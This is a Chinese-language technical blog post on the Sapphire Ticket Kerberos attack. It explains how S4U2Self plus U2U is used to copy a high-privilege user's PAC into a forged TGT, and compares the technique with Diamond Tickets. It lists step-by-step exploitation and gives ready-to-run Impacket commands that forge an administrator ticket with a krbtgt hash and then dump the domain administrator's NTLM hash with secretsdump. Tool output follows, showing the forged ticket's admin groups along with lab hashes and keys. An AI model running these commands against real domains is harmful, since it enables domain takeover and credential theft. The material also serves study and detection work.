蓝宝石票据

Sapphire Ticket可以模拟任何用户的 TGT,是在TGS期间通过S4U2self+U2U交换请求目标用户的PAC来实现的,后面组装真正的 TGT 和真正的 PAC。

U2U + S4U

Sapphire Tickets 技术基于 S4U2Self + U2U 。使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self。S4U2Self是S4U协议扩展中的消息之一。S4U2Self 允许代表另一个用户向其自身获取票证。想象一个启用了 Kerberos 约束委派的服务,但用户使用 NTLM 对其进行身份验证。该服务无法将用户委托给其他服务,因为它没有用户的 ST。在这种情况下,服务会向 KDC 发送 KRB_TGS_REQ,请求该用户向其自身提供 ST。因此,该服务现在拥有一个包含用户身份验证信息的 ST。

服务可以使用S4U2self将票证检索到自身,允许服务代表用户向自身获取Kerberos服务票据,包含用户的组,因此可用来授权,且S4U2self扩展可用于获取PAC,以确定用户是否对服务具有访问权限。

利用流程

1.向KDC申请任意已知账号密码的用户A的TGT票据。

2.通过 S4U2Self+U2U,向KDC请求高权限B用户对我们当前用户A的ST票据,就好像这个高权限用户已经通过了我们的身份验证一样。

3.因为通过u2u认证,所以这个ST是由 Kerberos 密钥A加密的,我们有A用户的凭证,所以我们可以解密ST。

4.该 ST 具有B用户的 PAC,使用krbtgt Kerberos 密钥对该PAC进行解密。

5.用上一步获得的管理员PAC,修改第一步当中 TGT 的 PAC,并使用krbtgt Kerberos 密钥对其进行重新加密和重新签名,相当于得到了B用户的高权限TGT。

钻石/蓝宝石票据

钻石票据只是一张黄金票据,并试图通过以下方式更加隐蔽:

  • 通过AS-REQ 请求用户的 TGT
  • 使用 krbtgt 哈希解密TGT
  • 设置伪造 PAC 的属性以镜像有效 TGT 中的属性
  • 使用 krbtgt 哈希加密伪造的票据

蓝宝石票与钻石票类似,它检索真实的 TGT,并将数据从 PAC 复制到伪造的票上。但是,不使用在初始身份验证中检索到的票证,而是执行一个附加步骤来检索另一个(可能是高权限)用户的 PAC:

  • 向 KDC 进行身份验证
  • 使用 S4U2Self 和 U2U 扩展为高权限用户请求 TGS(这反映了真实用户的 PAC 的样子,但票证在高权限上下文中不可用)
  • 解密此信息
  • 设置伪造 PAC 的属性以镜像有效 TGT 中的属性
  • 使用 krbtgt 哈希加密伪造的票据

Usage

python3 ticketer.py -request -impersonate 'domainadmin' -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -nthash 'krbtgt hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'

python3 ticketer.py -request -impersonate 'administrator' -domain 'test.local' -user 'test' -password 'Qq123456..' -nthash 'bf122b2f9b49a18fc2f4d6810956d3f0' -aesKey 'b6ae3aa004fe5e6f47b90899c95770845b326a7f55ddb24570113bc5f643bdda' -domain-sid 'S-1-5-21-4104917814-2564499157-3528963987' 'faketicket'

export KRB5CCNAME=faketicket.ccache

python3 secretsdump.py dc1.test.local -k -no-pass -just-dc-ntlm -just-dc-user administrator

认证流程

AS-REP

TGS-REQ

TGS-REP

describeTicket

python3 describeTicket.py faketicket.ccache --aes b6ae3aa004fe5e6f47b90899c95770845b326a7f55ddb24570113bc5f643bdda
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 66435348656d6f4648497a6f7a4e5a754a507652416d4f6c6b4c774750586874
[*] User Name                     : administrator
[*] User Realm                    : TEST.LOCAL
[*] Service Name                  : krbtgt/TEST.LOCAL
[*] Service Realm                 : TEST.LOCAL
[*] Start Time                    : 24/02/2024 11:27:31 AM
[*] End Time                      : 24/02/2024 21:27:26 PM
[*] RenewTill                     : 25/02/2024 11:27:21 AM
[*] Flags                         : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : ZkNTSGVtb0ZISXpvek5adUpQdlJBbU9sa0x3R1BYaHQ=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/TEST.LOCAL
[*]   Service Realm               : TEST.LOCAL
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*]   LoginInfo
[*]     Logon Time                : 23/02/2024 15:12:11 PM
[*]     Logoff Time               : Infinity (absolute time)
[*]     Kickoff Time              : Infinity (absolute time)
[*]     Password Last Set         : 20/02/2024 02:36:15 AM
[*]     Password Can Change       : 21/02/2024 02:36:15 AM
[*]     Password Must Change      : 02/04/2024 02:36:15 AM
[*]     LastSuccessfulILogon      : Infinity (absolute time)
[*]     LastFailedILogon          : Infinity (absolute time)
[*]     FailedILogonCount         : 0
[*]     Account Name              : Administrator
[*]     Full Name                 :
[*]     Logon Script              :
[*]     Profile Path              :
[*]     Home Dir                  :
[*]     Dir Drive                 :
[*]     Logon Count               : 51
[*]     Bad Password Count        : 0
[*]     User RID                  : 500
[*]     Group RID                 : 513
[*]     Group Count               : 5
[*]     Groups                    : 512, 513, 520, 519, 518
[*]     Groups (decoded)          : (512) Domain Admins
[*]                                 (513) Domain Users
[*]                                 (520) Group Policy Creator Owners
[*]                                 (519) Enterprise Admins
[*]                                 (518) Schema Admins
[*]     User Flags                : (544) LOGON_EXTRA_SIDS, LOGON_RESOURCE_GROUPS
[*]     User Session Key          : 00000000000000000000000000000000
[*]     Logon Server              : DC1
[*]     Logon Domain Name         : TEST
[*]     Logon Domain SID          : S-1-5-21-4104917814-2564499157-3528963987
[*]     User Account Control      : (16) USER_NORMAL_ACCOUNT
[*]     Extra SID Count           : 1
[*]     Extra SIDs                : S-1-18-2 Service asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*]     Resource Group Domain SID : S-1-5-21-4104917814-2564499157-3528963987
[*]     Resource Group Count      : 1
[*]     Resource Group Ids        : 572
[*]     LMKey                     : 0000000000000000
[*]     SubAuthStatus             : 0
[*]     Reserved3                 : 0
[*]   ClientName
[*]     Client Id                 : 24/02/2024 03:27:26 AM
[*]     Client Name               : administrator
[*]   UpnDns
[*]     Flags                     : (1) U_UsernameOnly
[*]     UPN                       : Administrator@test.local
[*]     DNS Domain Name           : TEST.LOCAL
[*]   Attributes Info
[*]     Flags                     : (1) PAC_WAS_REQUESTED
[*]   Requestor Info
[*]     UserSid                   : S-1-5-21-4104917814-2564499157-3528963987-500
[*]   ServerChecksum
[*]     Signature Type            : hmac_sha1_96_aes256
[*]     Signature                 : 8336eafdbbb2e3f2345d3bab
[*]   KDCChecksum
[*]     Signature Type            : hmac_md5
[*]     Signature                 : 2659785e134736677c373c4bcfbb67ad

参考

https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/

https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/

https://twitter.com/snovvcrash/status/1576640688116334592

https://github.com/fortra/impacket/pull/1411

https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/

  • Created 2024-10-21 00:26
  • Published 2023-08-14 16:47
  • Updated 2024-10-21 00:57